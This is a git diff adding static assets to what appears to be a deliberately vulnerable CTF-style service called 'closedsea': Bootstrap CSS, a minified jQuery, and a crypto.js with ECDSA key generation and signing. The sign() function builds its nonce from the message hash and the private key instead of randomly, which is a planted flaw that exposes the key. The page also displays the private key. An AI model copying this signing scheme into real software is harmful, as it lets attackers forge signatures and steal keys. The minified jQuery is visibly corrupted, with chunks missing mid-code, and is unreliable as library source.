portant}.mt-xl-3{margin-top:1rem!important}.mt-xl-4{margin-top:1.5rem!important}.mt-xl-5{margin-top:3rem!important}.mt-xl-auto{margin-top:auto!important}.me-xl-0{margin-right:0!important}.me-xl-1{margin-right:.25rem!important}.me-xl-2{margin-right:.5rem!important}.me-xl-3{margin-right:1rem!important}.me-xl-4{margin-right:1.5rem!important}.me-xl-5{margin-right:3rem!important}.me-xl-auto{margin-right:auto!important}.mb-xl-0{margin-bottom:0!important}.mb-xl-1{margin-bottom:.25rem!important}.mb-xl-2{margin-bottom:.5rem!important}.mb-xl-3{margin-bottom:1rem!important}.mb-xl-4{margin-bottom:1.5rem!important}.mb-xl-5{margin-bottom:3rem!important}.mb-xl-auto{margin-bottom:auto!important}.ms-xl-0{margin-left:0!important}.ms-xl-1{margin-left:.25rem!important}.ms-xl-2{margin-left:.5rem!important}.ms-xl-3{margin-left:1rem!important}.ms-xl-4{margin-left:1.5rem!important}.ms-xl-5{margin-left:3rem!important}.ms-xl-auto{margin-left:auto!important}.p-xl-0{padding:0!important}.p-xl-1{padding:.25rem!important}.p-xl-2{padding:.5rem!important}.p-xl-3{padding:1rem!important}.p-xl-4{padding:1.5rem!important}.p-xl-5{padding:3rem!important}.px-xl-0{padding-right:0!important;padding-left:0!important}.px-xl-1{padding-right:.25rem!important;padding-left:.25rem!important}.px-xl-2{padding-right:.5rem!important;padding-left:.5rem!important}.px-xl-3{padding-right:1rem!important;padding-left:1rem!important}.px-xl-4{padding-right:1.5rem!important;padding-left:1.5rem!important}.px-xl-5{padding-right:3rem!important;padding-left:3rem!important}.py-xl-0{padding-top:0!important;padding-bottom:0!important}.py-xl-1{padding-top:.25rem!important;padding-bottom:.25rem!important}.py-xl-2{padding-top:.5rem!important;padding-bottom:.5rem!important}.py-xl-3{padding-top:1rem!important;padding-bottom:1rem!important}.py-xl-4{padding-top:1.5rem!important;padding-bottom:1.5rem!important}.py-xl-5{padding-top:3rem!important;padding-bottom:3rem!important}.pt-xl-0{padding-top:0!important}.pt-xl-1{padding-top:.25rem!important}.pt-xl-2{padding-top:.5rem!important}.pt-xl-3{padding-top:1rem!important}.pt-xl-4{padding-top:1.5rem!important}.pt-xl-5{padding-top:3rem!important}.pe-xl-0{padding-right:0!important}.pe-xl-1{padding-right:.25rem!important}.pe-xl-2{padding-right:.5rem!important}.pe-xl-3{padding-right:1rem!important}.pe-xl-4{padding-right:1.5rem!important}.pe-xl-5{padding-right:3rem!important}.pb-xl-0{padding-bottom:0!important}.pb-xl-1{padding-bottom:.25rem!important}.pb-xl-2{padding-bottom:.5rem!important}.pb-xl-3{padding-bottom:1rem!important}.pb-xl-4{padding-bottom:1.5rem!important}.pb-xl-5{padding-bottom:3rem!important}.ps-xl-0{padding-left:0!important}.ps-xl-1{padding-left:.25rem!important}.ps-xl-2{padding-left:.5rem!important}.ps-xl-3{padding-left:1rem!important}.ps-xl-4{padding-left:1.5rem!important}.ps-xl-5{padding-left:3rem!important}.gap-xl-0{gap:0!important}.gap-xl-1{gap:.25rem!important}.gap-xl-2{gap:.5rem!important}.gap-xl-3{gap:1rem!important}.gap-xl-4{gap:1.5rem!important}.gap-xl-5{gap:3rem!important}.text-xl-start{text-align:left!important}.text-xl-end{text-align:right!important}.text-xl-center{text-align:center!important}}@media (min-width:1400px){.float-xxl-start{float:left!important}.float-xxl-end{float:right!important}.float-xxl-none{float:none!important}.d-xxl-inline{display:inline!important}.d-xxl-inline-block{display:inline-block!important}.d-xxl-block{display:block!important}.d-xxl-grid{display:grid!important}.d-xxl-table{display:table!important}.d-xxl-table-row{display:table-row!important}.d-xxl-table-cell{display:table-cell!important}.d-xxl-flex{display:flex!important}.d-xxl-inline-flex{display:inline-flex!important}.d-xxl-none{display:none!important}.flex-xxl-fill{flex:1 1 auto!important}.flex-xxl-row{flex-direction:row!important}.flex-xxl-column{flex-direction:column!important}.flex-xxl-row-reverse{flex-direction:row-reverse!important}.flex-xxl-column-reverse{flex-direction:column-reverse!important}.flex-xxl-grow-0{flex-grow:0!important}.flex-xxl-grow-1{flex-grow:1!important}.flex-xxl-shrink-0{flex-shrink:0!important}.flex-xxl-shrink-1{flex-shrink:1!important}.flex-xxl-wrap{flex-wrap:wrap!important}.flex-xxl-nowrap{flex-wrap:nowrap!important}.flex-xxl-wrap-reverse{flex-wrap:wrap-reverse!important}.justify-content-xxl-start{justify-content:flex-start!important}.justify-content-xxl-end{justify-content:flex-end!important}.justify-content-xxl-center{justify-content:center!important}.justify-content-xxl-between{justify-content:space-between!important}.justify-content-xxl-around{justify-content:space-around!important}.justify-content-xxl-evenly{justify-content:space-evenly!important}.align-items-xxl-start{align-items:flex-start!important}.align-items-xxl-end{align-items:flex-end!important}.align-items-xxl-center{align-items:center!important}.align-items-xxl-baseline{align-items:baseline!important}.align-items-xxl-stretch{align-items:stretch!important}.align-content-xxl-start{align-content:flex-start!important}.align-content-xxl-end{align-content:flex-end!important}.align-content-xxl-center{align-content:center!important}.align-content-xxl-between{align-content:space-between!important}.align-content-xxl-around{align-content:space-around!important}.align-content-xxl-stretch{align-content:stretch!important}.align-self-xxl-auto{align-self:auto!important}.align-self-xxl-start{align-self:flex-start!important}.align-self-xxl-end{align-self:flex-end!important}.align-self-xxl-center{align-self:center!important}.align-self-xxl-baseline{align-self:baseline!important}.align-self-xxl-stretch{align-self:stretch!important}.order-xxl-first{order:-1!important}.order-xxl-0{order:0!important}.order-xxl-1{order:1!important}.order-xxl-2{order:2!important}.order-xxl-3{order:3!important}.order-xxl-4{order:4!important}.order-xxl-5{order:5!important}.order-xxl-last{order:6!important}.m-xxl-0{margin:0!important}.m-xxl-1{margin:.25rem!important}.m-xxl-2{margin:.5rem!important}.m-xxl-3{margin:1rem!important}.m-xxl-4{margin:1.5rem!important}.m-xxl-5{margin:3rem!important}.m-xxl-auto{margin:auto!important}.mx-xxl-0{margin-right:0!important;margin-left:0!important}.mx-xxl-1{margin-right:.25rem!important;margin-left:.25rem!important}.mx-xxl-2{margin-right:.5rem!important;margin-left:.5rem!important}.mx-xxl-3{margin-right:1rem!important;margin-left:1rem!important}.mx-xxl-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.mx-xxl-5{margin-right:3rem!important;margin-left:3rem!important}.mx-xxl-auto{margin-right:auto!important;margin-left:auto!important}.my-xxl-0{margin-top:0!important;margin-bottom:0!important}.my-xxl-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-xxl-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-xxl-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-xxl-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.my-xxl-5{margin-top:3rem!important;margin-bottom:3rem!important}.my-xxl-auto{margin-top:auto!important;margin-bottom:auto!important}.mt-xxl-0{margin-top:0!important}.mt-xxl-1{margin-top:.25rem!important}.mt-xxl-2{margin-top:.5rem!important}.mt-xxl-3{margin-top:1rem!important}.mt-xxl-4{margin-top:1.5rem!important}.mt-xxl-5{margin-top:3rem!important}.mt-xxl-auto{margin-top:auto!important}.me-xxl-0{margin-right:0!important}.me-xxl-1{margin-right:.25rem!important}.me-xxl-2{margin-right:.5rem!important}.me-xxl-3{margin-right:1rem!important}.me-xxl-4{margin-right:1.5rem!important}.me-xxl-5{margin-right:3rem!important}.me-xxl-auto{margin-right:auto!important}.mb-xxl-0{margin-bottom:0!important}.mb-xxl-1{margin-bottom:.25rem!important}.mb-xxl-2{margin-bottom:.5rem!important}.mb-xxl-3{margin-bottom:1rem!important}.mb-xxl-4{margin-bottom:1.5rem!important}.mb-xxl-5{margin-bottom:3rem!important}.mb-xxl-auto{margin-bottom:auto!important}.ms-xxl-0{margin-left:0!important}.ms-xxl-1{margin-left:.25rem!important}.ms-xxl-2{margin-left:.5rem!important}.ms-xxl-3{margin-left:1rem!important}.ms-xxl-4{margin-left:1.5rem!important}.ms-xxl-5{margin-left:3rem!important}.ms-xxl-auto{margin-left:auto!important}.p-xxl-0{padding:0!important}.p-xxl-1{padding:.25rem!important}.p-xxl-2{padding:.5rem!important}.p-xxl-3{padding:1rem!important}.p-xxl-4{padding:1.5rem!important}.p-xxl-5{padding:3rem!important}.px-xxl-0{padding-right:0!important;padding-left:0!important}.px-xxl-1{padding-right:.25rem!important;padding-left:.25rem!important}.px-xxl-2{padding-right:.5rem!important;padding-left:.5rem!important}.px-xxl-3{padding-right:1rem!important;padding-left:1rem!important}.px-xxl-4{padding-right:1.5rem!important;padding-left:1.5rem!important}.px-xxl-5{padding-right:3rem!important;padding-left:3rem!important}.py-xxl-0{padding-top:0!important;padding-bottom:0!important}.py-xxl-1{padding-top:.25rem!important;padding-bottom:.25rem!important}.py-xxl-2{padding-top:.5rem!important;padding-bottom:.5rem!important}.py-xxl-3{padding-top:1rem!important;padding-bottom:1rem!important}.py-xxl-4{padding-top:1.5rem!important;padding-bottom:1.5rem!important}.py-xxl-5{padding-top:3rem!important;padding-bottom:3rem!important}.pt-xxl-0{padding-top:0!important}.pt-xxl-1{padding-top:.25rem!important}.pt-xxl-2{padding-top:.5rem!important}.pt-xxl-3{padding-top:1rem!important}.pt-xxl-4{padding-top:1.5rem!important}.pt-xxl-5{padding-top:3rem!important}.pe-xxl-0{padding-right:0!important}.pe-xxl-1{padding-right:.25rem!important}.pe-xxl-2{padding-right:.5rem!important}.pe-xxl-3{padding-right:1rem!important}.pe-xxl-4{padding-right:1.5rem!important}.pe-xxl-5{padding-right:3rem!important}.pb-xxl-0{padding-bottom:0!important}.pb-xxl-1{padding-bottom:.25rem!important}.pb-xxl-2{padding-bottom:.5rem!important}.pb-xxl-3{padding-bottom:1rem!important}.pb-xxl-4{padding-bottom:1.5rem!important}.pb-xxl-5{padding-bottom:3rem!important}.ps-xxl-0{padding-left:0!important}.ps-xxl-1{padding-left:.25rem!important}.ps-xxl-2{padding-left:.5rem!important}.ps-xxl-3{padding-left:1rem!important}.ps-xxl-4{padding-left:1.5rem!important}.ps-xxl-5{padding-left:3rem!important}.gap-xxl-0{gap:0!important}.gap-xxl-1{gap:.25rem!important}.gap-xxl-2{gap:.5rem!important}.gap-xxl-3{gap:1rem!important}.gap-xxl-4{gap:1.5rem!important}.gap-xxl-5{gap:3rem!important}.text-xxl-start{text-align:left!important}.text-xxl-end{text-align:right!important}.text-xxl-center{text-align:center!important}}@media (min-width:1200px){.fs-1{font-size:2.5rem!important}.fs-2{font-size:2rem!important}.fs-3{font-size:1.75rem!important}.fs-4{font-size:1.5rem!important}}@media print{.d-print-inline{display:inline!important}.d-print-inline-block{display:inline-block!important}.d-print-block{display:block!important}.d-print-grid{display:grid!important}.d-print-table{display:table!important}.d-print-table-row{display:table-row!important}.d-print-table-cell{display:table-cell!important}.d-print-flex{display:flex!important}.d-print-inline-flex{display:inline-flex!important}.d-print-none{display:none!important}} +/*# sourceMappingURL=bootstrap.min.css.map */ \ No newline at end of file diff --git a/services/service1/service/closedsea/src/static/crypto.js b/services/service1/service/closedsea/src/static/crypto.js new file mode 100644 index 0000000..7dfd674 --- /dev/null +++ b/services/service1/service/closedsea/src/static/crypto.js @@ -0,0 +1,34 @@ +function keygen() { + curve = sjcl.ecc.curves["k256"]; + keys = sjcl.ecc.ecdsa.generateKeys(curve); + var pubkey = keys.pub.serialize().point; + var privkey = keys.sec.serialize().exponent; + //TODO: save privkey in local storage + return {privkey, pubkey}; +} + +function sign(data, privkey) { + console.log("signing", data); + curve = sjcl.ecc.curves["k256"]; + secret = new sjcl.bn(privkey); + var hash = sjcl.hash.sha256.hash(data); + + var R = curve.r, l = R.bitLength(); + var hbn = sjcl.bn.fromBits(hash); + var k = hbn.mul(secret).mulmod(secret, R); + var r = curve.G.mult(k).x.mod(R); + var ss = hbn.add(r.mul(secret)); + var s = ss.mulmod(k.inverseMod(R), R); + console.log(r.toString(), s.toString()); + var signature = sjcl.bitArray.concat(r.toBits(l), s.toBits(l)); + return sjcl.codec.hex.fromBits(signature); +} + +function UI_create_key(){ + //priv ,pub = keygen(); + keys = keygen(); + $('#public_key').val(keys.pubkey); + $('#private_ui').text(keys.privkey); + $('#public_ui').text(keys.pubkey); + +} diff --git a/services/service1/service/closedsea/src/static/jquery.min.js b/services/service1/service/closedsea/src/static/jquery.min.js new file mode 100644 index 0000000..c4c6022 --- /dev/null +++ b/services/service1/service/closedsea/src/static/jquery.min.js @@ -0,0 +1,2 @@ +/*! jQuery v3.6.0 | (c) OpenJS Foundation and other contributors | jquery.org/license */ +!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n||E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?n[o.call(e)]||"object":typeof e}var f="3.6.0",S=function(e,t){return new S.fn.init(e,t)};function p(e){var t=!!e&&"length"in e&&e.length,n=w(e);return!m(e)&&!x(e)&&("array"===n||0===t||"number"==typeof t&&0+~]|"+M+")"+M+"*"),U=new RegExp(M+"|>"),X=new RegExp(F),V=new RegExp("^"+I+"$"),G={ID:new RegExp("^#("+I+")"),CLASS:new RegExp("^\\.("+I+")"),TAG:new RegExp("^("+I+"|[*])"),ATTR:new RegExp("^"+W),PSEUDO:new RegExp("^"+F),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+R+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},Y=/HTML$/i,Q=/^(?:input|select|textarea|button)$/i,J=/^h\d$/i,K=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t||(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10|55296,1023&n|56320))},re=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ie=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},oe=function(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(p.childNodes),p.childNodes),t[p.childNodes.length].nodeType}catch(e){H={apply:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function se(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n||[],"string"!=typeof t||!t||1!==p&&9!==p&&11!==p)return n;if(!r&&(T(e),e=e||C,E)){if(11!==p&&(u=Z.exec(t)))if(i=u[1]){if(9===p){if(!(a=e.getElementById(i)))return n;if(a.id===i)return n.push(a),n}else if(f&&(a=f.getElementById(i))&&y(e,a)&&a.id===i)return n.push(a),n}else{if(u[2])return H.apply(n,e.getElementsByTagName(t)),n;if((i=u[3])&&d.getElementsByClassName&&e.getElementsByClassName)return H.apply(n,e.getElementsByClassName(i)),n}if(d.qsa&&!N[t+" "]&&(!v||!v.test(t))&&(1!==p||"object"!==e.nodeName.toLowerCase())){if(c=t,f=e,1===p&&(U.test(t)||z.test(t))){(f=ee.test(t)&&ye(e.parentNode)||e)===e&&d.scope||((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(e){N(t,!0)}finally{s===S&&e.removeAttribute("id")}}}return g(t.replace($,"$1"),e,n,r)}function ue(){var r=[];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[S]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function fe(e,t){var n=e.split("|"),r=n.length;while(r--)b.attrHandle[n[r]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function de(t){return function(e){return"input"===e.nodeName.toLowerCase()&&e.type===t}}function he(n){return function(e){var t=e.nodeName.toLowerCase();return("input"===t||"button"===t)&&e.type===n}}function ge(t){return function(e){return"form"in e?e.parentNode&&!1===e.disabled?"label"in e?"label"in e.parentNode?e.parentNode.disabled===t:e.disabled===t:e.isDisabled===t||e.isDisabled!==!t&&ae(e)===t:e.disabled===t:"label"in e&&e.disabled===t}}function ve(a){return le(function(o){return o=+o,le(function(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument||e).documentElement;return!Y.test(t||n&&n.nodeName||"HTML")},T=se.setDocument=function(e){var t,n,r=e?e.ownerDocument||e:p;return r!=C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),p!=C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.scope=ce(function(e){return a.appendChild(e).appendChild(C.createElement("div")),"undefined"!=typeof e.querySelectorAll&&!e.querySelectorAll(":scope fieldset div").length}),d.attributes=ce(function(e){return e.className="i",!e.getAttribute("className")}),d.getElementsByTagName=ce(function(e){return e.appendChild(C.createComment("")),!e.getElementsByTagName("*").length}),d.getElementsByClassName=K.test(C.getElementsByClassName),d.getById=ce(function(e){return a.appendChild(e).id=S,!C.getElementsByName||!C.getElementsByName(S).length}),d.getById?(b.filter.ID=function(e){var t=e.replace(te,ne);return function(e){return e.getAttribute("id")===t}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n=t.getElementById(e);return n?[n]:[]}}):(b.filter.ID=function(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},b.find.CLASS=d.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&E)return t.getElementsByClassName(e)},s=[],v=[],(d.qsa=K.test(C.querySelectorAll))&&(ce(function(e){var t;a.appendChild(e).innerHTML="",e.querySelectorAll("[msallowcapture^='']").length&&v.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||v.push("\\["+M+"*(?:value|"+R+")"),e.querySelectorAll("[id~="+S+"-]").length||v.push("~="),(t=C.createElement("input")).setAttribute("name",""),e.appendChild(t),e.querySelectorAll("[name='']").length||v.push("\\["+M+"*name"+M+"*="+M+"*(?:''|\"\")"),e.querySelectorAll(":checked").length||v.push(":checked"),e.querySelectorAll("a#"+S+"+*").length||v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="";var t=C.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&v.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&v.push(":enabled",":disabled"),a.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&v.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),v.push(",.*:")})),(d.matchesSelector=K.test(c=a.matches||a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.msMatchesSelector))&&ce(function(e){d.disconnectedMatch=c.call(e,"*"),c.call(e,"[s!='']:x"),s.push("!=",F)}),v=v.length&&new RegExp(v.join("|")),s=s.length&&new RegExp(s.join("|")),t=K.test(a.compareDocumentPosition),y=t||K.test(a.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},j=t?function(e,t){if(e===t)return l=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&(n=(e.ownerDocument||e)==(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C||e.ownerDocument==p&&y(p,e)?-1:t==C||t.ownerDocument==p&&y(p,t)?1:u?P(u,e)-P(u,t):0:4&n?-1:1)}:function(e,t){if(e===t)return l=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e==C?-1:t==C?1:i?-1:o?1:u?P(u,e)-P(u,t):0;if(i===o)return pe(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?pe(a[r],s[r]):a[r]==p?-1:s[r]==p?1:0}),C},se.matches=function(e,t){return se(e,null,null,t)},se.matchesSelector=function(e,t){if(T(e),d.matchesSelector&&E&&!N[t+" "]&&(!s||!s.test(t))&&(!v||!v.test(t)))try{var n=c.call(e,t);if(n||d.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(e){N(t,!0)}return 0":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(te,ne),e[3]=(e[3]||e[4]||e[5]||"").replace(te,ne),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||se.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&se.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return G.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=h(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(te,ne).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=m[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&m(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(n,r,i){return function(e){var t=se.attr(e,n);return null==t?"!="===r:!r||(t+="","="===r?t===i:"!="===r?t!==i:"^="===r?i&&0===t.indexOf(i):"*="===r?i&&-1:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,n,r){return m(n)?S.grep(e,function(e,t){return!!n.call(e,t,e)!==r}):n.nodeType?S.grep(e,function(e){return e===n!==r}):"string"!=typeof n?S.grep(e,function(e){return-1)[^>]*|#([\w-]+))$/;(S.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||D,"string"==typeof e){if(!(r="<"===e[0]&&">"===e[e.length-1]&&3<=e.length?[null,e,null]:q.exec(e))||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof S?t[0]:t,S.merge(this,S.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:E,!0)),N.test(r[1])&&S.isPlainObject(t))for(r in t)m(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return(i=E.getElementById(r[2]))&&(this[0]=i,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):m(e)?void 0!==n.ready?n.ready(e):e(S):S.makeArray(e,this)}).prototype=S.fn,D=S(E);var L=/^(?:parents|prev(?:Until|All))/,H={children:!0,contents:!0,next:!0,prev:!0};function O(e,t){while((e=e[t])&&1!==e.nodeType);return e}S.fn.extend({has:function(e){var t=S(e,this),n=t.length;return this.filter(function(){for(var e=0;e\x20\t\r\n\f]*)/i,he=/^$|^module$|\/(?:java|ecma)script/i;ce=E.createDocumentFragment().appendChild(E.createElement("div")),(fe=E.createElement("input")).setAttribute("type","radio"),fe.setAttribute("checked","checked"),fe.setAttribute("name","t"),ce.appendChild(fe),y.checkClone=ce.cloneNode(!0).cloneNode(!0).lastChild.checked,ce.innerHTML="",y.noCloneChecked=!!ce.cloneNode(!0).lastChild.defaultValue,ce.innerHTML="",y.option=!!ce.lastChild;var ge={thead:[1,"","
"],col:[2,"","
"],tr:[2,"","
"],td:[3,"","
"],_default:[0,"",""]};function ve(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&A(e,t)?S.merge([e],n):n}function ye(e,t){for(var n=0,r=e.length;n",""]);var me=/<|&#?\w+;/;function xe(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d\s*$/g;function je(e,t){return A(e,"table")&&A(11!==t.nodeType?t:t.firstChild,"tr")&&S(e).children("tbody")[0]||e}function De(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function qe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Le(e,t){var n,r,i,o,a,s;if(1===t.nodeType){if(Y.hasData(e)&&(s=Y.get(e).events))for(i in Y.remove(t,"handle events"),s)for(n=0,r=s[i].length;n").attr(n.scriptAttrs||{}).prop({charset:n.scriptCharset,src:n.url}).on("load error",i=function(e){r.remove(),i=null,e&&t("error"===e.type?404:200,e.type)}),E.head.appendChild(r[0])},abort:function(){i&&i()}}});var _t,zt=[],Ut=/(=)\?(?=&|$)|\?\?/;S.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=zt.pop()||S.expando+"_"+wt.guid++;return this[e]=!0,e}}),S.ajaxPrefilter("json jsonp",function(e,t,n){var r,i,o,a=!1!==e.jsonp&&(Ut.test(e.url)?"url":"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&Ut.test(e.data)&&"data");if(a||"jsonp"===e.dataTypes[0])return r=e.jsonpCallback=m(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,a?e[a]=e[a].replace(Ut,"$1"+r):!1!==e.jsonp&&(e.url+=(Tt.test(e.url)?"&":"?")+e.jsonp+"="+r),e.converters["script json"]=function(){return o||S.error(r+" was not called"),o[0]},e.dataTypes[0]="json",i=C[r],C[r]=function(){o=arguments},n.always(function(){void 0===i?S(C).removeProp(r):C[r]=i,e[r]&&(e.jsonpCallback=t.jsonpCallback,zt.push(r)),o&&m(i)&&i(o[0]),o=i=void 0}),"script"}),y.createHTMLDocument=((_t=E.implementation.createHTMLDocument("").body).innerHTML="
",2===_t.childNodes.length),S.parseHTML=function(e,t,n){return"string"!=typeof e?[]:("boolean"==typeof t&&(n=t,t=!1),t||(y.createHTMLDocument?((r=(t=E.implementation.createHTMLDocument("")).createElement("base")).href=E.location.href,t.head.appendChild(r)):t=E),o=!n&&[],(i=N.exec(e))?[t.createElement(i[1])]:(i=xe([e],t,o),o&&o.length&&S(o).remove(),S.merge([],i.childNodes)));var r,i,o},S.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return-1").append(S.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},S.expr.pseudos.animated=function(t){return S.grep(S.timers,function(e){return t===e.elem}).length},S.offset={setOffset:function(e,t,n){var 